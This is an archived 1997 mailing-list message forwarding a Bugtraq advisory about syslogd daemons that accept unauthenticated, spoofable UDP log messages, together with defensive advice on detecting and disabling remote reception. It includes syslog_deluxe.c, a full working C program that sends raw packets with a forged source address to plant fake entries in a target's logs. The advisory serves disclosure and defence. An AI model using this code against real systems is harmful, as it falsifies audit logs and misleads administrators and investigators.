From owner-freebsd-security Thu Aug 28 12:49:08 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id MAA17433 for security-outgoing; Thu, 28 Aug 1997 12:49:08 -0700 (PDT) Received: from sendero-ppp.i-connect.net (sendero-ppp.i-Connect.Net [206.190.143.100]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id MAA17417 for ; Thu, 28 Aug 1997 12:48:58 -0700 (PDT) Received: (qmail 10981 invoked by uid 1000); 28 Aug 1997 19:49:12 -0000 Message-ID: X-Mailer: XFMail 1.2-alpha [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit MIME-Version: 1.0 Resent-Date: Thu, 28 Aug 1997 14:35:26 -0500 (CDT) Resent-Message-Id: Resent-From: John Goerzen Resent-To: security@debian.org Date: Thu, 28 Aug 1997 12:49:12 -0700 (PDT) Organization: Atlas Telecom From: Simon Shapiro To: freebsd-security@freebsd.org Subject: FW: syslogd fun (fwd) Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Is this something we have to worry about in FreeBSD? I think it may, but do not know... Simon ----- Forwarded Message ----: Date: Wed, 27 Aug 1997 20:05:03 -0500 From: Yuri Volobuev To: BUGTRAQ@NETSPACE.ORG Subject: syslogd fun Resent-Date: Thu, 28 Aug 1997 14:31:42 -0500 (CDT) Resent-From: John Goerzen Resent-To: jgoerzen@gesundheit.cs.twsu.edu Howdy, Following up on the recent postings about various kinds of spoofing, I'd like to present one particularly ugly case. I think no one would argue that syslog is every Unix sysadmin's close friend. Very often, syslog is a major (sometimes the only) way of gathering various information, including security-related, about a particular system or network. Some people trust syslog and make important decisions based on what they see there. I've even heard about one lawsuit which involved system logs (I'm not sure the system was running Unix, though) as an evidence. Fortunately, defendant, sysadmin of the system in question, was able to show that syslog entry means nothing. Well, he was absolutely right. It's trivial to fake any kind of syslog entry using syslog(3) locally, and this fact is widely known and accepted. What is less known, however, is that many syslogd implementations have remote reception turned on by default. Remote reception is a very simple thing. If syslogd finds an entry in config file which has @hostname at action field, it send a message to that host. The idea is OK, but implementation is not. First, there's no way to control access to your syslogd, anybody on the net can send you syslog message, and you can't tell your syslogd to refuse them (well, you can't do this _easily_, hacking the source is an option, where possible). Second, the messages are send by the virtue of the wonderful Unreliable Data Protocol. This basically nullifies the lack of access control. UDP is so easy to spoof that there's no point in restricting the access to the certain clients. There's no protocol for communications between two syslogds. One sends out a datagram, the second one receives it, if it makes it through, and that's it. No acknowledgments of any kind, it's a one way talk. If the incoming message has it's source IP set to that of the target system, it'll be output in the syslog file just like any local entry, and there's no way to distinguish between them. The attached program, syslog_deluxe.c, illustrates this point by sending out a syslog message with both source and remote IPs supplied by the user. It was tested to work with syslogds on AIX 4.2, Irix 6.2 and Linux, syslogd 1.3-3 (the one that comes with RedHat-4.2). I'm pretty sure it'll work with any other syslogd, as long as remote reception is on. So once remote reception is turned on, you can't trust any syslog entry anymore, that is, if you use stock syslogd. Besides, you open your box to a nasty DoS, it wouldn't be too hard to fill up the partition that holds syslog files, UDP datagrams can be pretty big. I also strongly suspect that there may be some overflow conditions and such in certain implementations, and having your syslogd listening to Internet is not a very healthy thing to do in such a case. So the fix for all that would be turning off remote reception. Unfortunately, it can't always be done. Linux syslogd 1.3 has this option, and remote reception if off by default. AIX and Irix users are not so fortunate. It's on and can't be turned off in any obvious way, other than killing syslogd. You can check your system by running netstat -a | grep udp. If you see (among many other lines) something like udp 0 0 0.0.0.0.syslog 0.0.0.0.* or udp 0 0 0.0.0.0.514 0.0.0.0.* or udp 0 0 *.syslog *.* your syslogd is listening, time to do something. If not, you're in luck. 99% or more systems on the net don't need remote reception. Those need to investigate configuration options of the installed syslogd, and possibly switch to a more advanced version, such as aforementioned syslogd 1.3. Of course, it may not be as easy as it sounds. Apart from possible problems with compilation, vendors sometime use "enhanced" syslogd, such as the one on Irix. It adds an extra field in front of hostname which has facility and priority. It's nice, but it also means that some other Irix programs, such as Syslog Viewer, may have problems reading file in standard format. Sometimes remote reception is desired, though, and it's a tough case. Due to the nature of the network protocol, you pretty much have to hope that no one sends you a spoofed entry. You can't really make a distinction between a spoofed one and a real one. The only true way to fix it is to redesign the protocol. Aside from security considerations, reliability could use some improvement, too since right now there's only as much of it as comes with UDP, i.e. none. I don't think an idea of losing important syslog messages due to network congestion is appealing to anybody. Also, in any event syslogd should make clear distinction between the local and remote messages, and mark them as such. I personally find it very sad that one of the programs that should help to keep security tight is so grossly insecure itself. It's really a shame. cheers, yuri /* syslog_deluxe.c This program sends a spoofed syslog message.. Your have to be root to run it. Source and target IP addresses, message text, facility and priority are supplied by the user. It exploits the fact that many syslogd implementations listen to port 514/udp and accept whatever datagrams arrive, thus making it very easy to spoof syslog entries. Some versions of syslogd allow to turn off this feature, some don't. The code compiles and works under Linux. Any Unix that has SOCK_RAW/IPPROTO_RAW should be no problem (you may need to use BSD-style struct ip though). It may use few improvements, like checking for possible ICMP Port Unreachable errors in case the remote machine doesn't run syslogd with remote reception turned on. The idea behind this program is a proof of a concept, nothing more. It comes as is, no warranty. However, you're allowed to use it under one condition: you must use your brain simultaneously. If this condition is not met, you shall forget about this program and go RTFM immediately. yuri volobuev'97 volobuev@t1.chem.umn.edu */ #include #include #include #include #include #include #include #include #include #include #include #include #define IPVERSION 4 /* This is the stuff that actually gets sent. Feel free to change it */ #define MESSAGE_FAC LOG_DAEMON #define MESSAGE_PRI LOG_INFO char message[] = {"telnetd[4489]: connection from devil@hell.org.universe\n"}; struct raw_pkt_hdr { struct iphdr ip; /* This is Linux-style iphdr. Use BSD-style struct ip if you want */ struct udphdr udp; }; struct raw_pkt_hdr* pkt; void die(char *); unsigned long int get_ip_addr(char*); unsigned short checksum(unsigned short*,char); int main(int argc,char** argv){ struct sockaddr_in sa; int sock,packet_len; char usage[] = {"\ syslog_deluxe, yuri volobuev'97\n\ make syslog look the way you want, here there and everywhere\n\ \t usage: syslog_deluxe src_hostname dst_hostname\n"}; char on = 1; if(argc != 3)die(usage); if( (sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0){ perror("socket"); exit(1); } sa.sin_addr.s_addr = get_ip_addr(argv[2]); sa.sin_family = AF_INET; packet_len = sizeof(struct raw_pkt_hdr)+strlen(message)+4; pkt = calloc((size_t)1,(size_t)packet_len); pkt->ip.version = IPVERSION; pkt->ip.ihl = sizeof(struct iphdr) >> 2; pkt->ip.tos = 0; pkt->ip.tot_len = htons(packet_len); pkt->ip.id = htons(getpid() & 0xFFFF); pkt->ip.frag_off = 0; pkt->ip.ttl = 0x40; pkt->ip.protocol = IPPROTO_UDP; pkt->ip.check = 0; pkt->ip.saddr = get_ip_addr(argv[1]); pkt->ip.daddr = sa.sin_addr.s_addr; pkt->ip.check = checksum((unsigned short*)pkt,sizeof(struct iphdr)); pkt->udp.source = htons(514); pkt->udp.dest = htons(514); pkt->udp.len = htons(packet_len - sizeof(struct iphdr)); pkt->udp.check = 0; /* If you feel like screwing around with pseudo-headers and stuff, you may of course calculate UDP checksum as well. I chose to leave it zero, it's usually OK */ sprintf((char*)pkt+sizeof(struct raw_pkt_hdr),"<%d>%s", (int)(MESSAGE_FAC | MESSAGE_PRI),message); if (setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&on,sizeof(on)) < 0) { perror("setsockopt: IP_HDRINCL"); exit(1); } if(sendto(sock,pkt,packet_len,0,(struct sockaddr*)&sa,sizeof(sa)) < 0){ perror("sendto"); exit(1); } exit(0); } void die(char* str){ fprintf(stderr,"%s\n",str); exit(1); } unsigned long int get_ip_addr(char* str){ struct hostent *hostp; unsigned long int addr; if( (addr = inet_addr(str)) == -1){ if( (hostp = gethostbyname(str))) return *(unsigned long int*)(hostp->h_addr); else { fprintf(stderr,"unknown host %s\n",str); exit(1); } } return addr; } unsigned short checksum(unsigned short* addr,char len){ /* This is a simplified version that expects even number of bytes */ register long sum = 0; while(len > 1){ sum += *addr++; len -= 2; } while (sum>>16) sum = (sum & 0xffff) + (sum >> 16); return ~sum; } -- TO UNSUBSCRIBE FROM THIS MAILING LIST: e-mail the word "unsubscribe" to debian-private-request@lists.debian.org . Trouble? e-mail to templin@bucknell.edu . --------------End of forwarded message------------------------- --- Sincerely Yours, (Sent on 28-Aug-97, 12:46:41 by XF-Mail) Simon Shapiro i-Connect.Net, a Division of iConnect Corp. Director of Technology 14355 SW Allen Blvd., Suite 140 Beaverton OR 97008 Shimon@i-Connect.Net Voice: 503.677.2900, Emergency: 503.799-2313